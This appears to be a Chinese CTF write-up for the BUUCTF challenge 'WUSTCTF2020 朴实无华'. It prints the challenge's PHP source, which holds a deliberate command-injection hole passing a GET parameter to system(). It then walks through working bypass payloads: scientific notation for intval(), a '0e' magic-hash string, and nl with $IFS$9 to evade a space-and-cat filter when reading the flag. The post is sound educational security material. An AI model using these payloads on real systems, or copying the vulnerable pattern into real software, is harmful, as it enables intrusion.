BUUCTF [WUSTCTF2020] 朴实无华

BUUCTF [WUSTCTF2020] 朴实无华

考点:

  1. intval()函数科学计数法绕过
  2. 网页Unicode编码
  3. 变量md5()加密后与原值相等
  4. nltac等替代cat命令

启动靶机:
在这里插入图片描述
根据标签名

<title>人间极乐bot</title>

猜测可能有robots.txt协议,访问:
在这里插入图片描述
得到假的flag:
在这里插入图片描述
根据之前的Warning
在这里插入图片描述
猜测和请求头有关,使用BurpSuite抓取数据包:
在这里插入图片描述
Response中发现新的提示:

Look_at_me: /fl4g.php

访问该页面:
在这里插入图片描述
Chrome浏览器显示乱码,用火狐浏览器打开,在更多中,有文字编码
在这里插入图片描述
选择Unicode即可。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

得到页面源码:

  1. level 1
    需要通过GET方式传入变量$num的值,其经过intval()方法处理后比2020小,但+1后比2021大。

使用科学计数法可以在比较时截断,只返回为1,但在做加法运算后,

<?php
    $num = '2e4';
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "success!";
    }
?>

在这里插入图片描述
该方式可绕过,?num='2e4'
在这里插入图片描述
猜测传入后台后自动转换成字符串类型,去掉单引号,直接传入?num=2e4
在这里插入图片描述
成功通过level1

  1. level2
    通过GET传入变量$md5的值,通过弱类型比较,与md5加密后的值相等,即可绕过

也就是以0e开头的字符串,加密后还是以0e开头即可在若类型比较时均转换成整数0
在这里插入图片描述
字符串0e215962017符合该条件,尝试传入参数:?md5=0e215962017
在这里插入图片描述
成功通过level2

  1. get flag
    strstr()函数查找字符串的首次出现,区分大小写。
    str_ireplace()函数替换字符串中的一些字符,不区分大小写。
    其中通过GET方式传入的变量$get_flag不能包含空格cat
    传入的变量将会被当作命令执行,首先先查看当前目录下内容,构造payload:
?num=2e4&md5=0e215962017&get_flag=ls

在这里插入图片描述
其中文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag可能包含flag,使用nl命令替换cat命令,并且通过$IFS$9代替空格,构造最终payload:

?num=2e4&md5=0e215962017&get_flag=nl$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

在这里插入图片描述
得到flag。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值